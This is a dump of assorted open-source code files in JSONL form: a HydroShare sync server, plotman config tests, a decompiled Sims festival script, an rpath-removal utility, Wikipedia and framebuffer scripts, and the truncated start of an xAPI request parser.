results.append({'success': True})\n success_count += 1\n except FileExistsError:\n results.append({\n 'success': False,\n 'error': {\n 'type':\n 'FileOrFolderExists',\n 'message': (f'The file {dest_path} already '\n 'exists in HydroShare.'),\n },\n })\n failure_count += 1\n else: # TODO: Copy (https://github.com/hydroshare/hydroshare_jupyter_sync/issues/42)\n # The frontend never requests this, but if one were to\n # add such functionality, you'd handle it here\n raise NotImplementedError('Copy within HydroShare '\n 'not implemented')\n # Move/copy within the local filesystem\n elif src_fs == LOCAL_PREFIX and dest_fs == LOCAL_PREFIX:\n if method == MOVE: # Move or rename\n ResourceLocalData(res_id).rename_or_move_item(\n src_path, dest_path)\n results.append({'success': True})\n success_count += 1\n else: # TODO: Copy (https://github.com/hydroshare/hydroshare_jupyter_sync/issues/42)\n # The frontend never requests this, but if one were to\n # add such functionality, you'd handle it here\n raise NotImplementedError('Copy within the local '\n 'filesystem not implemented yet')\n # Move/copy from the local filesystem to HydroShare\n elif src_fs == LOCAL_PREFIX and dest_fs == HS_PREFIX:\n # Transfer the file regardless of if we're moving or copying\n error = hs_data.upload_from_local(local_data, Path(src_path),\n Path(dest_path))\n if not error and method == MOVE:\n # Delete the local copy of the file\n error = (ResourceLocalData(res_id).delete_file_or_folder(\n src_path))\n results.append({\n 'success': error is None,\n 'error': error,\n })\n if error:\n failure_count += 1\n else:\n success_count += 1\n # Move/copy from HydroShare to the local filesystem\n elif src_fs == HS_PREFIX and dest_fs == LOCAL_PREFIX:\n # Transfer the file regardless of if we're moving or copying\n hs_data.download_to_local(local_data, Path(src_path),\n Path(dest_path))\n if method == MOVE:\n # Delete the HS copy of the file\n hs_data.delete_file_or_folder(src_path)\n results.append({'success': True})\n success_count += 1\n else:\n msg = f'\"source\" prefix \"{src_fs}\" and/or destination ' \\\n f'prefix \"{dest_fs} not recognized. Valid options' \\\n f' are \"hs\" and \"local\"'\n logging.warning(msg)\n results.append({\n 'success': False,\n 'error': 'UnrecognizedPathPrefix',\n 'message': msg,\n })\n failure_count += 1\n\n self.write({\n 'results': results,\n 'successCount': success_count,\n 'failureCount': failure_count,\n })\n\n\nclass UserInfoHandler(BaseRequestHandler):\n \"\"\" Handles getting the user's information (name, email, etc)\n from HydroShare and storing the user's\n HydroShare credentials.\n \"\"\"\n\n def set_default_headers(self):\n BaseRequestHandler.set_default_headers(self)\n self.set_header('Access-Control-Allow-Methods', 'GET, OPTIONS')\n\n def get(self):\n \"\"\" Gets the user's information (name, email, etc) from HydroShare \"\"\"\n isFile = False\n if not resource_manager.is_authenticated():\n data, error = None, HYDROSHARE_AUTHENTICATION_ERROR\n else:\n data, error = resource_manager.get_user_info()\n dirdetails = Path(Path.home() / 'hydroshare' / 'dirinfo.json')\n if dirdetails.exists():\n isFile = True\n self.write({\n 'data': data,\n 'success': error is None,\n 'isFile': isFile,\n 'error': error\n })\n\n\nclass TestApp(tornado.web.Application):\n \"\"\" Class for setting up the server & making sure it can exit cleanly \"\"\"\n\n is_closing = False\n\n def signal_handler(self, signum, frame):\n logging.info('exiting...')\n self.is_closing = True\n\n def try_exit(self):\n if self.is_closing:\n tornado.ioloop.IOLoop.instance().stop()\n logging.info('exit success')\n\n\ndef get_route_handlers(frontend_url, backend_url):\n return [\n (url_path_join(frontend_url,\n r\"/assets/(.*)\"), tornado.web.StaticFileHandler, {\n 'path': str(assets_path)\n }),\n (url_path_join(backend_url,\n r\"/download/(.*)\"), tornado.web.StaticFileHandler, {\n 'path': str(data_path)\n }),\n (url_path_join(backend_url, \"/login\"), LoginHandler),\n (url_path_join(backend_url, r\"/user\"), UserInfoHandler),\n (url_path_join(backend_url, r\"/resources\"), ResourcesRootHandler),\n (url_path_join(backend_url, r\"/resources/([^/]+)\"), ResourceHandler),\n (url_path_join(backend_url, r\"/resources/([^/]+)/hs-files\"),\n ResourceHydroShareFilesRequestHandler),\n (url_path_join(backend_url, r\"/resources/([^/]+)/download-hs-files\"),\n DownloadHydroShareFilesRequestHandler),\n (url_path_join(backend_url, r\"/resources/([^/]+)/check-sync-files\"),\n CheckSyncStatusFilesRequestHandler),\n (url_path_join(backend_url, r\"/resources/([^/]+)/local-files\"),\n ResourceLocalFilesRequestHandler),\n (url_path_join(backend_url,\n r\"/resources/([^/]+)/downloaded-local-files\"),\n DownloadedLocalFilesRequestHandler),\n (url_path_join(backend_url, \"/selectdir\"), DirectorySelectorHandler),\n (url_path_join(backend_url,\n r\"/resources/([^/]+)/localmd5\"), Localmd5Handler),\n (url_path_join(backend_url,\n r\"/resources/([^/]+)/hsmd5\"), Hsmd5Handler),\n (url_path_join(backend_url,\n r\"/resources/([^/]+)/move-copy-files\"), MoveCopyFiles),\n # Put this last to catch everything else\n (frontend_url + r\".*\", WebAppHandler),\n ]\n\n\nif __name__ == '__main__':\n LEVELS = {\n 'debug': logging.DEBUG,\n 'info': logging.INFO,\n 'warning': logging.WARNING,\n 'error': logging.ERROR,\n 'critical': logging.CRITICAL\n }\n\n if len(sys.argv) > 1:\n level_name = sys.argv[1]\n level = LEVELS.get(level_name, logging.NOTSET)\n logging.basicConfig(level=level)\n\n app = TestApp(get_route_handlers('/', '/syncApi'))\n print(\"Starting server at localhost:8080\")\n tornado.options.parse_command_line()\n signal.signal(signal.SIGINT, app.signal_handler)\n app.listen(8080)\n tornado.ioloop.PeriodicCallback(app.try_exit, 100).start()\n tornado.ioloop.IOLoop.instance().start()\n","sub_path":"hydroshare_jupyter_sync/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":43230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"38989456","text":"from translate import Translator\n\ntranslator = Translator(to_lang='ja')\n\ntry:\n with open('text.txt', 'r') as my_file:\n text = my_file.read()\n translation = translator.translate(text)\n with open('text_ja.txt', 'w') as file:\n file.write(translation)\nexcept FileExistsError as e:\n print('check your file path')\n","sub_path":"Section 12. Debugging In Python/185.py","file_name":"185.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"305809721","text":"\"\"\"Tests for plotman/configuration.py\"\"\"\nimport importlib.resources\n\nimport pytest\nimport yaml\n\nfrom plotman import configuration\nfrom plotman import resources as plotman_resources\n\n\n@pytest.fixture(name='config_path')\ndef config_fixture(tmp_path):\n \"\"\"Return direct path to plotman.yaml\"\"\"\n with importlib.resources.path(plotman_resources, \"plotman.yaml\") as path:\n yield path\n\n\ndef test_get_validated_configs__default(mocker, config_path):\n \"\"\"Check that get_validated_configs() works with default/example plotman.yaml file.\"\"\"\n mocker.patch(\"plotman.configuration.get_path\", return_value=config_path)\n res = configuration.get_validated_configs()\n assert isinstance(res, configuration.PlotmanConfig)\n\n\ndef test_get_validated_configs__malformed(mocker, config_path):\n \"\"\"Check that get_validated_configs() raises exception with invalid plotman.yaml contents.\"\"\"\n mocker.patch(\"plotman.configuration.get_path\", return_value=config_path)\n with open(configuration.get_path(), \"r\") as file:\n loaded_yaml = yaml.load(file, Loader=yaml.SafeLoader)\n\n # Purposefully malform the contents of loaded_yaml by changing tmp from List[str] --> str\n loaded_yaml[\"directories\"][\"tmp\"] = \"/mnt/tmp/00\"\n mocker.patch(\"yaml.load\", return_value=loaded_yaml)\n\n with pytest.raises(configuration.ConfigurationException) as exc_info:\n configuration.get_validated_configs()\n\n assert exc_info.value.args[0] == f\"Config file at: '{configuration.get_path()}' is malformed\"\n\n\ndef test_get_validated_configs__missing(mocker, config_path):\n \"\"\"Check that get_validated_configs() raises exception when plotman.yaml does not exist.\"\"\"\n nonexistent_config = config_path.with_name(\"plotman2.yaml\")\n mocker.patch(\"plotman.configuration.get_path\", return_value=nonexistent_config)\n\n with pytest.raises(configuration.ConfigurationException) as exc_info:\n configuration.get_validated_configs()\n\n assert exc_info.value.args[0] == (\n f\"No 'plotman.yaml' file exists at expected location: '{nonexistent_config}'. To generate \"\n f\"default config file, run: 'plotman config generate'\"\n )\n","sub_path":"src/plotman/_tests/configuration_test.py","file_name":"configuration_test.py","file_ext":"py","file_size_in_byte":2147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"292907257","text":"class Solution0:\n # https://www.geeksforgeeks.org/write-a-c-program-to-print-all-permutations-of-a-given-string/\n def permute(self, nums):\n def pmt(list, start, end):\n if start == end:\n a.append(list)\n else:\n for i in range(start, end + 1):\n list[i], list[start] = list[start], list[i]\n pmt(list[:], start + 1, end)\n list[i], list[start] = list[start], list[i]\n a = []\n pmt(nums, 0, len(nums) - 1)\n return a\n\nclass Solution1:\n def dfs(self, nums, path, res):\n if not nums:\n res.append(path)\n else:\n for i in range(len(nums)):\n self.dfs(nums[:i] + nums[i + 1:], path + [nums[i]], res)\n\n def permute(self, nums):\n res = []\n self.dfs(nums, [], res)\n return res\n\n\n\ns = Solution1()\na = [1,2,3]\nresult = s.permute(a)\nprint(result)","sub_path":"python/046_permutations.py","file_name":"046_permutations.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"456720654","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.7.9 (tags/v3.7.9:13c94747c7, Aug 17 2020, 18:58:18) [MSC v.1900 64 bit (AMD64)]\n# Embedded file name: T:\\InGame\\Gameplay\\Scripts\\Server\\open_street_director\\logic_festival.py\n# Compiled at: 2016-09-26 23:28:44\n# Size of source mod 2**32: 17817 bytes\nfrom call_to_action.call_to_action_elements import SituationStateCallToActionMixin\nfrom event_testing.resolver import SingleSimResolver, GlobalResolver\nfrom open_street_director.festival_open_street_director import BaseFestivalOpenStreetDirector, FestivalStateInfo, TimedFestivalState, LoadLayerFestivalState, CleanupObjectsFestivalState\nfrom sims4 import random\nfrom sims4.localization import LocalizationHelperTuning\nfrom sims4.tuning.tunable import TunableList, TunableTuple, Tunable, TunableRange, TunableReference, TunableInterval, OptionalTunable\nfrom sims4.utils import classproperty\nfrom situations.base_situation import _RequestUserData\nfrom situations.bouncer.bouncer_request import SelectableSimRequestFactory\nfrom situations.situation import Situation\nfrom situations.situation_complex import SituationComplexCommon, TunableSituationJobAndRoleState, SituationState, SituationStateData\nfrom situations.situation_guest_list import SituationGuestList\nfrom ui.ui_dialog_notification import TunableUiDialogNotificationSnippet\nimport services, sims4.resources\n\nclass LogicFestivalContestState(SituationStateCallToActionMixin, SituationState):\n pass\n\n\nclass LogicFestivalContestSituation(SituationComplexCommon):\n INSTANCE_TUNABLES = {'contest_state':LogicFestivalContestState.TunableFactory(description='\\n The contest state for this Situation\\n Starts.\\n ',\n tuning_group=SituationComplexCommon.SITUATION_STATE_GROUP), \n 'npc_job_and_role_state':TunableSituationJobAndRoleState(description='\\n The job and role state of npcs that are in this situation.\\n '), \n 'player_job_and_role_state':TunableSituationJobAndRoleState(description='\\n The job and role state of player Sims that are in this situation.\\n '), \n 'start_notification':OptionalTunable(description='\\n If enabled then we will show a notification when this contest\\n begins.\\n ',\n tunable=TunableUiDialogNotificationSnippet(description='\\n The notification that will appear at the start of this situation.\\n ')), \n 'end_notification':OptionalTunable(description='\\n If enabled then we will show a notification when this contest ends.\\n ',\n tunable=TunableUiDialogNotificationSnippet(description='\\n The notification that will appear at the end of this situation.\\n '))}\n REMOVE_INSTANCE_TUNABLES = Situation.NON_USER_FACING_REMOVE_INSTANCE_TUNABLES\n\n @classmethod\n def default_job(cls):\n pass\n\n @classmethod\n def _states(cls):\n return (SituationStateData(1, LogicFestivalContestState, factory=(cls.contest_state)),)\n\n @classmethod\n def _get_tuned_job_and_default_role_state_tuples(cls):\n return [(cls.npc_job_and_role_state.job, cls.npc_job_and_role_state.role_state),\n (\n cls.player_job_and_role_state.job, cls.player_job_and_role_state.role_state)]\n\n def start_situation(self):\n super().start_situation()\n self._change_state(self.contest_state())\n if self.start_notification is not None:\n start_notification = self.start_notification(services.active_sim_info())\n start_notification.show_dialog()\n\n def _issue_requests(self):\n super()._issue_requests()\n request = SelectableSimRequestFactory(self, callback_data=_RequestUserData(role_state_type=(self.player_job_and_role_state.role_state)),\n job_type=(self.player_job_and_role_state.job),\n exclusivity=(self.exclusivity))\n self.manager.bouncer.submit_request(request)\n\n def _should_show_end_notification(self):\n return self.end_notification is not None\n\n def _get_end_notification_resolver_and_tokens(self):\n return (\n GlobalResolver(), tuple())\n\n def on_remove(self):\n if self._should_show_end_notification():\n resolver, additional_tokens = self._get_end_notification_resolver_and_tokens()\n end_notification = self.end_notification((services.active_sim_info()), resolver=resolver)\n end_notification.show_dialog(additional_tokens=additional_tokens)\n super().on_remove()\n\n\nclass ScoredLogicFestivalContestSituation(LogicFestivalContestSituation):\n INSTANCE_TUNABLES = {'contest_statistic':TunableReference(description='\\n The statistic that we will use for scoring the Sims in the contest.\\n ',\n manager=services.get_instance_manager(sims4.resources.Types.STATISTIC)), \n 'bronze_prize':TunableReference(description='\\n A reference to a loot that will be applied as the bronze prize.\\n ',\n manager=services.get_instance_manager(sims4.resources.Types.ACTION),\n class_restrictions=('LootActions', )), \n 'silver_prize':TunableReference(description='\\n A reference to a loot that will be applied as the silver prize.\\n ',\n manager=services.get_instance_manager(sims4.resources.Types.ACTION),\n class_restrictions=('LootActions', )), \n 'gold_prize':TunableReference(description='\\n A reference to a loot that will be applied as the gold prize.\\n ',\n manager=services.get_instance_manager(sims4.resources.Types.ACTION),\n class_restrictions=('LootActions', ))}\n\n def _on_add_sim_to_situation(self, sim, job_type, role_state_type_override=None):\n super()._on_add_sim_to_situation(sim, job_type, role_state_type_override=role_state_type_override)\n sim.set_stat_value((self.contest_statistic), value=(self.contest_statistic.min_value),\n add=True)\n\n def _on_remove_sim_from_situation(self, sim):\n super()._on_remove_sim_from_situation(sim)\n sim.sim_info.remove_statistic(self.contest_statistic)\n\n def _should_show_end_notification(self):\n return super()._should_show_end_notification() and any((sim.get_stat_value(self.contest_statistic) > 0 for sim in self.all_sims_in_situation_gen()))\n\n def _get_end_notification_resolver_and_tokens(self):\n sims = [sim for sim in self.all_sims_in_situation_gen() if sim.get_stat_value(self.contest_statistic) > 0]\n if not sims:\n return (\n GlobalResolver(), tuple())\n sims.sort(key=(lambda item: (item.get_stat_value(self.contest_statistic), item.is_selectable)), reverse=True)\n gold_sim = sims[0]\n return (SingleSimResolver(gold_sim.sim_info), (gold_sim.get_stat_value(self.contest_statistic),))\n\n def on_remove(self):\n sims = [sim for sim in self.all_sims_in_situation_gen() if sim.get_stat_value(self.contest_statistic) > 0]\n if sims:\n sims.sort(key=(lambda item: (item.get_stat_value(self.contest_statistic), item.is_selectable)), reverse=True)\n gold_sim = sims[0]\n if gold_sim.is_selectable:\n gold_resolver = SingleSimResolver(gold_sim.sim_info)\n self.gold_prize.apply_to_resolver(gold_resolver)\n if len(sims) > 1:\n silver_sim = sims[1]\n if silver_sim.is_selectable:\n silver_resolver = SingleSimResolver(silver_sim.sim_info)\n self.silver_prize.apply_to_resolver(silver_resolver)\n if len(sims) > 2:\n bronze_sim = sims[2]\n if bronze_sim.is_selectable:\n bronze_resolver = SingleSimResolver(bronze_sim.sim_info)\n self.bronze_prize.apply_to_resolver(bronze_resolver)\n super().on_remove()\n\n\nclass SpinupFestivalState(LoadLayerFestivalState):\n\n @classproperty\n def key(cls):\n return 1\n\n def _get_next_state(self):\n return self._owner.pre_contest_festival_state(self._owner)\n\n\nclass PreContestFestivalState(TimedFestivalState):\n\n @classproperty\n def key(cls):\n return 2\n\n def _get_next_state(self):\n return self._owner.contest_festival_state(self._owner)\n\n\nCONTEST_TOKENS = 'contest_situation_ids'\n\nclass ContestFestivalState(TimedFestivalState):\n FACTORY_TUNABLES = {'_possible_contests':TunableList(description='\\n A list of possible situations to choose and weights associated\\n with them.\\n ',\n tunable=TunableTuple(description='\\n A pair of situation and weight.\\n ',\n weight=TunableRange(description='\\n The weight of this situation to be chosen.\\n ',\n tunable_type=float,\n default=1,\n minimum=1),\n situation=LogicFestivalContestSituation.TunableReference(description='\\n The type of contest to run.\\n '))), \n '_number_of_contests':TunableInterval(description='\\n Minimum and maximum number of contests to trigger\\n Randomly start some number of contests between minimum and maximum,\\n with maximum capped at the actual number of possible contests.\\n if no min is specified, will do max. If no max is specified\\n will randomly pick between min and all. (So if neither specified, will do\\n all)\\n ',\n tunable_type=int,\n minimum=0,\n default_lower=None,\n default_upper=None)}\n\n def __init__(self, *args, **kwargs):\n (super().__init__)(*args, **kwargs)\n self._contest_situation_ids = None\n\n @classproperty\n def key(cls):\n return 3\n\n def _get_next_state(self):\n return self._owner.post_contest_festival_state(self._owner)\n\n def on_state_activated(self, reader=None, preroll_time_override=None):\n super().on_state_activated(reader=reader, preroll_time_override=preroll_time_override)\n if reader is not None:\n self._contest_situation_ids = reader.read_uint64s(CONTEST_TOKENS, None)\n if self._contest_situation_ids is None:\n self._contest_situation_ids = []\n situation_manager = services.get_zone_situation_manager()\n max_contests = self._number_of_contests.upper_bound\n min_contests = self._number_of_contests.lower_bound\n if max_contests is None:\n max_contests = len(self._possible_contests)\n else:\n max_contests = min(len(self._possible_contests), max_contests)\n if min_contests is None:\n min_contests = len(self._possible_contests)\n min_contests = min(min_contests, max_contests)\n contest_count = random.random.randint(min_contests, max_contests)\n possible_situations = [(possible_contest.weight, possible_contest.situation) for possible_contest in self._possible_contests]\n while contest_count:\n contest_count -= 1\n chosen_situation = random.pop_weighted(possible_situations)\n guest_list = SituationGuestList(invite_only=True)\n self._contest_situation_ids.append(situation_manager.create_situation(chosen_situation, guest_list=guest_list,\n user_facing=False))\n\n def on_state_deactivated(self):\n if self._contest_situation_ids is not None:\n situation_manager = services.get_zone_situation_manager()\n for situation_id in self._contest_situation_ids:\n situation_manager.destroy_situation_by_id(situation_id)\n\n super().on_state_deactivated()\n\n def save(self, writer):\n super().save(writer)\n if self._contest_situation_ids is not None:\n writer.write_uint64s(CONTEST_TOKENS, self._contest_situation_ids)\n\n\nclass PostContestFestivalState(TimedFestivalState):\n\n @classproperty\n def key(cls):\n return 4\n\n def _get_next_state(self):\n return self._owner.cooldown_festival_state(self._owner)\n\n\nclass CooldownFestivalState(TimedFestivalState):\n FACTORY_TUNABLES = {'notification': TunableUiDialogNotificationSnippet(description='\\n The notification that will appear when we enter this festival\\n state.\\n ')}\n\n @classproperty\n def key(cls):\n return 5\n\n def on_state_activated(self, reader=None, preroll_time_override=None):\n super().on_state_activated(reader=reader, preroll_time_override=preroll_time_override)\n for situation in self._owner.get_running_festival_situations():\n situation.put_on_cooldown()\n\n notification = self.notification(services.active_sim_info())\n notification.show_dialog()\n\n def _get_next_state(self):\n return self._owner.cleanup_festival_state(self._owner)\n\n\nclass CleanupFestivalState(CleanupObjectsFestivalState):\n\n @classproperty\n def key(cls):\n return 6\n\n def _get_next_state(self):\n pass\n\n\nclass LogicFestivalOpenStreetDirector(BaseFestivalOpenStreetDirector):\n INSTANCE_TUNABLES = {'spinup_festival_state':SpinupFestivalState.TunableFactory(), \n 'pre_contest_festival_state':PreContestFestivalState.TunableFactory(), \n 'contest_festival_state':ContestFestivalState.TunableFactory(), \n 'post_contest_festival_state':PostContestFestivalState.TunableFactory(), \n 'cooldown_festival_state':CooldownFestivalState.TunableFactory(), \n 'cleanup_festival_state':CleanupFestivalState.TunableFactory()}\n\n @classmethod\n def _states(cls):\n return (FestivalStateInfo(SpinupFestivalState, cls.spinup_festival_state),\n FestivalStateInfo(PreContestFestivalState, cls.pre_contest_festival_state),\n FestivalStateInfo(ContestFestivalState, cls.contest_festival_state),\n FestivalStateInfo(PostContestFestivalState, cls.post_contest_festival_state),\n FestivalStateInfo(CooldownFestivalState, cls.cooldown_festival_state),\n FestivalStateInfo(CleanupFestivalState, cls.cleanup_festival_state))\n\n def _get_starting_state(self):\n return self.spinup_festival_state(self)\n\n def on_startup(self):\n super().on_startup()\n if not self.was_loaded:\n if not self.did_preroll:\n self.change_state(self._get_starting_state())\n\n def _clean_up(self):\n if self._current_state.key != CleanupFestivalState.key:\n self.change_state(self.cleanup_festival_state(self))","sub_path":"Scripts/simulation/open_street_director/logic_festival.py","file_name":"logic_festival.py","file_ext":"py","file_size_in_byte":14643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"86904303","text":"from .views import PostList, PostDetail, CatList, CatDetail\nfrom django.urls import path\n\n\napp_name = 'app'\nurlpatterns = [\n path('', PostList.as_view(), name='post-list'),\n path('', PostDetail.as_view(), name='post-detail'),\n path('categories/', CatList.as_view(), name='cat-list'),\n path('categories/', CatDetail.as_view(), name='cat-detail')\n]","sub_path":"app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"162501284","text":"#!/usr/bin/env python3\n\nfrom PIL import Image, ImageColor\nimport argparse\nimport sys\n\nparser = argparse.ArgumentParser()\nparser.add_argument('rom', nargs=1, type=argparse.FileType('rb'))\nargs = parser.parse_args()\n\nargs.rom[0].seek(0x1A000)\nim = Image.new('RGB', (320, 480))\n\nfor y in range(0, 480):\n for x in range(0, 320):\n try:\n # I only have a black and white image to reference here, but it's def 16bpp, so assuming rgb565 for now\n data = args.rom[0].read(2)\n pixel = data[0] | data[1] << 8\n r = (pixel & 0x1f)\n g = (pixel >> 5 & 0x3f)\n b = (pixel >> 11 & 0x1f) \n r = r << 3 | (r >> 2)\n g = g << 2 | (g >> 4)\n b = b << 3 | (b >> 2)\n im.putpixel( (x, y), (r, g, b) ) \n except:\n im.putpixel( (x, y), (0,0,0) ) \n \nim.show()\n","sub_path":"viewframebuffer.py","file_name":"viewframebuffer.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"552483874","text":"from lxml import etree\nimport re\nimport datetime\nimport codecs\nimport json\nfrom wikiUtil import idify, categoryRE, refRE, wikiRE\n\nwikiFile = \"enwiki-20160501-pages-articles.xml\"\noutFile = \"{}_article-refs.csv\".format(datetime.datetime.now().strftime(\"%Y-%m-%d %H-%M\"))\ndef main():\n out = codecs.open(outFile,\"w\",\"utf-8\")\n total = 0\n context = etree.iterparse(wikiFile, events=(\"start\",\"end\"))\n context = iter(context)\n event, root = next(context)\n for event, element in context:\n if event == \"end\" and element.tag == \"{http://www.mediawiki.org/xml/export-0.10/}page\":\n elms = {}\n for child in element.iterdescendants():\n if child.tag == \"{http://www.mediawiki.org/xml/export-0.10/}ns\":\n elms[\"ns\"] = child.text\n elif child.tag == \"{http://www.mediawiki.org/xml/export-0.10/}title\":\n elms[\"title\"] = child.text\n elif child.tag == \"{http://www.mediawiki.org/xml/export-0.10/}text\":\n elms[\"text\"] = child.text\n if elms.get(\"ns\") == \"0\" and elms.get(\"title\") and elms.get(\"text\") and \"#redirect\" not in elms[\"text\"].lower():\n total += 1\n out.write(json.dumps({elms[\"title\"]: len(elms['text'])}) + \"\\n\")\n element.clear()\n root.clear()\n out.write(\"{} total articles\\n\".format(total))\n print(\"{} total articles\".format(total))\n out.close()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"article-length.py","file_name":"article-length.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"633126800","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nimport sys\nimport os\nimport re\nimport subprocess\nimport collections\nfrom itertools import groupby\n\nfrom read_rpaths import read_rpaths, read_dylib_id\n\ninstall_name_rgx = re.compile(r'\\t(.*) \\(.*\\)')\ndef remove_rpath( dylib_path, make_relative_to='loader_path', executable_path=sys.executable ):\n \"\"\"\n For the given dylib, inspect the output of \"otool -L\" and use install_name_tool to replace \n all references to @rpath with a new relative path beginning with either @loader_path \n or @executable_path, as specified by the 'relative_to' parameter.\n\n (The correct replacement strings are found by inspecting the LC_RPATH entries in \"otool -l\"\n and searching those paths for the referenced libraries.)\n \n Lastly, the LC_RPATH entries are deleted.\n \n Motivation: What's wrong with keeping @rpath?\n Nothing, in principle, except for the following minor points:\n - It isn't supported in old versions of OSX\n - It adds a level of indirection that can make it tricky to debug linking problems.\n - I'm not 100% sure that py2app handles @rpath correctly when building a bundle.\n \"\"\"\n assert make_relative_to in ['loader_path', 'executable_path']\n try:\n otool_output = subprocess.check_output(\"otool -L \" + dylib_path, shell=True)\n except subprocess.CalledProcessError as ex:\n sys.stderr.write(\"Error {} while calling otool -L {}\".format( ex.returncode, dylib_path ) )\n raise\n else:\n dylib_id = read_dylib_id( dylib_path )\n raw_rpaths = read_rpaths( dylib_path )\n if raw_rpaths:\n print(\"*** Removing rpath from: {}\".format(dylib_path))\n\n abs_rpaths = map( lambda rpath: rpath.replace( '@loader_path', os.path.split(dylib_path)[0] ),\n raw_rpaths )\n\n if make_relative_to == 'executable_path':\n if not os.path.isdir(executable_path):\n executable_path = os.path.split(executable_path)[0]\n\n relative_rpaths = map( lambda rpath: os.path.relpath( rpath, executable_path ),\n abs_rpaths )\n\n rpath_replacements = map( lambda rpath: \"@executable_path/\" + rpath,\n relative_rpaths )\n else:\n relative_rpaths = map( lambda rpath: os.path.relpath( rpath, os.path.split(dylib_path)[0] ),\n abs_rpaths )\n\n rpath_replacements = map( lambda rpath: \"@loader_path/\" + rpath,\n relative_rpaths )\n\n\n for line in otool_output.split('\\n')[1:]:\n if not line:\n continue\n match = install_name_rgx.match(line)\n assert match, \"Can't parse line: {}\".format( line )\n old_install_name = match.group(1)\n if old_install_name.startswith(\"@rpath\"):\n if dylib_id and dylib_id in old_install_name:\n cmd = \"install_name_tool -id {} {}\".format( os.path.split(dylib_id)[1], dylib_path )\n print(cmd)\n subprocess.check_call(cmd, shell=True)\n continue\n \n found_file = False\n for abs_rpath, rpath_replacement in zip(abs_rpaths, rpath_replacements):\n new_install_name = old_install_name.replace(\"@rpath\", rpath_replacement)\n if os.path.exists(abs_rpath):\n cmd = \"install_name_tool -change {} {} {}\".format( old_install_name, new_install_name, dylib_path )\n print(cmd)\n subprocess.check_call(cmd, shell=True)\n found_file = True\n break\n if not found_file:\n raise Exception( \"{}, linked from {} does not exist on rpaths: {}\"\n .format( old_install_name, dylib_path, raw_rpaths ) )\n \n # Lastly remove the LC_RPATH commands\n for rpath in raw_rpaths:\n cmd =\"install_name_tool -delete_rpath {} {}\".format( rpath, dylib_path )\n print(cmd)\n subprocess.check_call(cmd, shell=True)\n \nif __name__ == \"__main__\":\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-e\",\"--with_executable_path\", required=False)\n parser.add_argument(\"-l\",\"--with_loader_path\", action='store_true')\n parser.add_argument(\"dylib_paths\", nargs=\"+\")\n parsed_args = parser.parse_args()\n\n if parsed_args.with_executable_path and parsed_args.with_loader_path:\n sys.stderr.write(\"Options -e and -l cannot be used together. Choose one.\\n\")\n sys.exit(1)\n\n if not parsed_args.with_executable_path and not parsed_args.with_loader_path:\n parsed_args.with_executable_path = sys.executable\n print(\"Assuming python for default --executable_path={}\".format(parsed_args.executable_path))\n\n if parsed_args.with_loader_path:\n relative_to='loader_path'\n else:\n relative_to='executable_path'\n\n for dylib_path in parsed_args.dylib_paths:\n remove_rpath( dylib_path, relative_to, parsed_args.with_executable_path )\n","sub_path":"recipes/osx-packages/remove-rpath.py","file_name":"remove-rpath.py","file_ext":"py","file_size_in_byte":5287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"568151311","text":"import StringIO\nimport email\nimport urllib\nimport json\nimport itertools\nfrom base64 import b64decode, b64encode\nfrom isodate.isoerror import ISO8601Error\nfrom isodate.isodatetime import parse_datetime\n\nfrom django.http.multipartparser import MultiPartParser\nfrom django.core.cache import get_cache\n\nfrom util import convert_to_dict, convert_post_body_to_dict\nfrom etag import get_etag_info\nfrom jws import JWS, JWSException\nfrom ..exceptions import OauthUnauthorized, OauthBadRequest, ParamError, BadRequest\nfrom ..models import Agent\n\nfrom oauth_provider.utils import get_oauth_request, require_params\nfrom oauth_provider.decorators import CheckOauth\nfrom oauth_provider.store import store\nfrom oauth2_provider.provider.oauth2.models import AccessToken\n\natt_cache = get_cache('attachment_cache')\n\ndef parse(request, more_id=None):\n r_dict = {}\n # Build headers from request in request dict\n r_dict['headers'] = get_headers(request.META)\n\n # Traditional authorization should be passed in headers\n r_dict['auth'] = {}\n\n # If we already have an authenticated Django user, use this instead of checking the Authorization header.\n if request.user.is_authenticated():\n user = request.user\n r_dict['auth'] = {\n 'type': 'django',\n 'user': user,\n 'define': True,\n 'authority': Agent.objects.retrieve_or_create(\n name=user.get_full_name(),\n account={\n 'homePage': request.build_absolute_uri('/'),\n 'name': '%s.%s:%s' % (user._meta.app_label, user._meta.object_name, user.pk),\n },\n objectType='Agent',\n )[0],\n }\n elif 'Authorization' in r_dict['headers']:\n # OAuth will always be dict, not http auth. Set required fields for oauth module and type for authentication\n # module\n set_authorization(r_dict, request) \n elif 'Authorization' in request.body or 'HTTP_AUTHORIZATION' in request.body:\n # Authorization could be passed into body if cross origin request\n r_dict['auth']['type'] = 'http'\n else:\n raise BadRequest(\"Request has no authorization\")\n\n r_dict['params'] = {}\n # lookin for weird IE CORS stuff.. it'll be a post with a 'method' url param\n if request.method == 'POST' and 'method' in request.GET:\n bdy = convert_post_body_to_dict(request.body)\n # 'content' is in body for the IE cors POST\n if 'content' in bdy:\n r_dict['body'] = urllib.unquote(bdy.pop('content'))\n # headers are in the body too for IE CORS, we removes them\n r_dict['headers'].update(get_headers(bdy))\n for h in r_dict['headers']:\n bdy.pop(h, None)\n\n # remove extras from body\n 